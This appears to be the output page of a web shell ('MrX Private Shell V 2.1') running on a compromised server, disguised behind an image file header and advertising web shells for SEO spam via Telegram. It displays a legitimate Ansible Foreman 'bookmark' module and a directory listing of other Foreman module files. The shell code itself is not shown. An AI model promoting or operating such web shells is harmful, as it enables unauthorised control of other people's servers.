����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# -*- coding: utf-8 -*-
# (c) 2019 Bernhard Hopfenmüller (ATIX AG)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from __future__ import absolute_import, division, print_function
__metaclass__ = type
DOCUMENTATION = '''
---
module: bookmark
version_added: 1.0.0
short_description: Manage Bookmarks
description:
- "Manage Bookmark Entities"
author:
- "Bernhard Hopfenmueller (@Fobhep) ATIX AG"
- "Christoffer Reijer (@ephracis) Basalt AB"
options:
name:
description:
- Name of the bookmark
required: true
type: str
controller:
description:
- Controller for the bookmark
required: true
type: str
public:
description:
- Make bookmark available for all users
required: false
default: true
type: bool
query:
description:
- Query of the bookmark
type: str
extends_documentation_fragment:
- theforeman.foreman.foreman
- theforeman.foreman.foreman.entity_state_with_defaults
'''
EXAMPLES = '''
- name: "Create a Bookmark"
theforeman.foreman.bookmark:
username: "admin"
password: "changeme"
server_url: "https://foreman.example.com"
name: "recent"
controller: "job_invocations"
query: "started_at > '24 hours ago'"
state: present_with_defaults
- name: "Update a Bookmark"
theforeman.foreman.bookmark:
username: "admin"
password: "changeme"
server_url: "https://foreman.example.com"
name: "recent"
controller: "job_invocations"
query: "started_at > '12 hours ago'"
state: present
- name: "Delete a Bookmark"
theforeman.foreman.bookmark:
username: "admin"
password: "changeme"
server_url: "https://foreman.example.com"
name: "recent"
controller: "job_invocations"
state: absent
'''
RETURN = '''
entity:
description: Final state of the affected entities grouped by their type.
returned: success
type: dict
contains:
bookmarks:
description: List of bookmarks.
type: list
elements: dict
contains:
id:
description: Database id of the bookmark.
type: int
name:
description: Name of the bookmark.
type: str
controller:
description: Controller, the query is performed on.
type: str
query:
description: Query to be performed on the controller.
type: str
public:
description: Publicity of the bookmark.
type: bool
owner_type:
description: Class of the owner entity.
type: str
owner_id:
description: Database id of the owner entity.
type: int
'''
from ansible_collections.theforeman.foreman.plugins.module_utils.foreman_helper import ForemanEntityAnsibleModule
class ForemanBookmarkModule(ForemanEntityAnsibleModule):
pass
def main():
module = ForemanBookmarkModule(
foreman_spec=dict(
name=dict(required=True),
controller=dict(required=True),
public=dict(default='true', type='bool'),
query=dict(),
),
argument_spec=dict(
state=dict(default='present', choices=['present_with_defaults', 'present', 'absent']),
),
required_if=(
['state', 'present', ['query']],
['state', 'present_with_defaults', ['query']],
),
)
with module.api_connection():
module.set_entity('entity', module.find_resource(
'bookmarks',
search='name="{0}",controller="{1}"'.format(module.foreman_params['name'], module.foreman_params['controller']),
failsafe=True,
))
module.run()
if __name__ == '__main__':
main()
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| activation_key.py | File | 16.46 KB | 0644 |
|
| architecture.py | File | 3.15 KB | 0644 |
|
| auth_source_ldap.py | File | 6.71 KB | 0644 |
|
| bookmark.py | File | 4.19 KB | 0644 |
|
| compute_attribute.py | File | 4.59 KB | 0644 |
|
| compute_profile.py | File | 7.7 KB | 0644 |
|
| compute_resource.py | File | 14.31 KB | 0644 |
|
| config_group.py | File | 2.48 KB | 0644 |
|
| content_credential.py | File | 2.62 KB | 0644 |
|
| content_export_info.py | File | 4.55 KB | 0644 |
|
| content_export_library.py | File | 3.59 KB | 0644 |
|
| content_export_repository.py | File | 3.28 KB | 0644 |
|
| content_export_version.py | File | 4.35 KB | 0644 |
|
| content_upload.py | File | 8.35 KB | 0644 |
|
| content_view.py | File | 11.42 KB | 0644 |
|
| content_view_filter.py | File | 10.21 KB | 0644 |
|
| content_view_filter_info.py | File | 2.36 KB | 0644 |
|
| content_view_filter_rule.py | File | 10.88 KB | 0644 |
|
| content_view_filter_rule_info.py | File | 2.81 KB | 0644 |
|
| content_view_info.py | File | 2.1 KB | 0644 |
|
| content_view_version.py | File | 10.81 KB | 0644 |
|
| content_view_version_info.py | File | 2.44 KB | 0644 |
|
| discovery_rule.py | File | 3.92 KB | 0644 |
|
| domain.py | File | 2.92 KB | 0644 |
|
| domain_info.py | File | 2.04 KB | 0644 |
|
| external_usergroup.py | File | 3.79 KB | 0644 |
|
| global_parameter.py | File | 4.9 KB | 0644 |
|
| hardware_model.py | File | 2.65 KB | 0644 |
|
| host.py | File | 18.48 KB | 0644 |
|
| host_collection.py | File | 2.6 KB | 0644 |
|
| host_errata_info.py | File | 3.32 KB | 0644 |
|
| host_info.py | File | 2.02 KB | 0644 |
|
| host_power.py | File | 4.16 KB | 0644 |
|
| hostgroup.py | File | 6.79 KB | 0644 |
|
| hostgroup_info.py | File | 2.09 KB | 0644 |
|
| http_proxy.py | File | 3.11 KB | 0644 |
|
| image.py | File | 3.93 KB | 0644 |
|
| installation_medium.py | File | 5.12 KB | 0644 |
|
| job_invocation.py | File | 6.65 KB | 0644 |
|
| job_template.py | File | 14.94 KB | 0644 |
|
| lifecycle_environment.py | File | 3.52 KB | 0644 |
|
| location.py | File | 4.09 KB | 0644 |
|
| operatingsystem.py | File | 7.33 KB | 0644 |
|
| organization.py | File | 3.19 KB | 0644 |
|
| organization_info.py | File | 2.13 KB | 0644 |
|
| os_default_template.py | File | 4.34 KB | 0644 |
|
| partition_table.py | File | 9.47 KB | 0644 |
|
| product.py | File | 4.04 KB | 0644 |
|
| provisioning_template.py | File | 11.04 KB | 0644 |
|
| puppet_environment.py | File | 2.29 KB | 0644 |
|
| puppetclasses_import.py | File | 3.93 KB | 0644 |
|
| realm.py | File | 2.59 KB | 0644 |
|
| redhat_manifest.py | File | 11.24 KB | 0644 |
|
| repository.py | File | 13.16 KB | 0644 |
|
| repository_info.py | File | 2.76 KB | 0644 |
|
| repository_set.py | File | 11.91 KB | 0644 |
|
| repository_set_info.py | File | 2.92 KB | 0644 |
|
| repository_sync.py | File | 2.52 KB | 0644 |
|
| resource_info.py | File | 4.99 KB | 0644 |
|
| role.py | File | 4.38 KB | 0644 |
|
| scap_content.py | File | 3.36 KB | 0644 |
|
| scap_tailoring_file.py | File | 3.44 KB | 0644 |
|
| scc_account.py | File | 5.67 KB | 0644 |
|
| scc_product.py | File | 3.64 KB | 0644 |
|
| setting.py | File | 3.56 KB | 0644 |
|
| setting_info.py | File | 2.03 KB | 0644 |
|
| smart_class_parameter.py | File | 10.45 KB | 0644 |
|
| smart_proxy.py | File | 6.02 KB | 0644 |
|
| snapshot.py | File | 5.07 KB | 0644 |
|
| snapshot_info.py | File | 2.47 KB | 0644 |
|
| status_info.py | File | 1.98 KB | 0644 |
|
| subnet.py | File | 8.91 KB | 0644 |
|
| subnet_info.py | File | 2.05 KB | 0644 |
|
| subscription_info.py | File | 2.22 KB | 0644 |
|
| subscription_manifest.py | File | 4.97 KB | 0644 |
|
| sync_plan.py | File | 5.86 KB | 0644 |
|
| templates_import.py | File | 6.1 KB | 0644 |
|
| user.py | File | 11.06 KB | 0644 |
|
| usergroup.py | File | 3.04 KB | 0644 |
|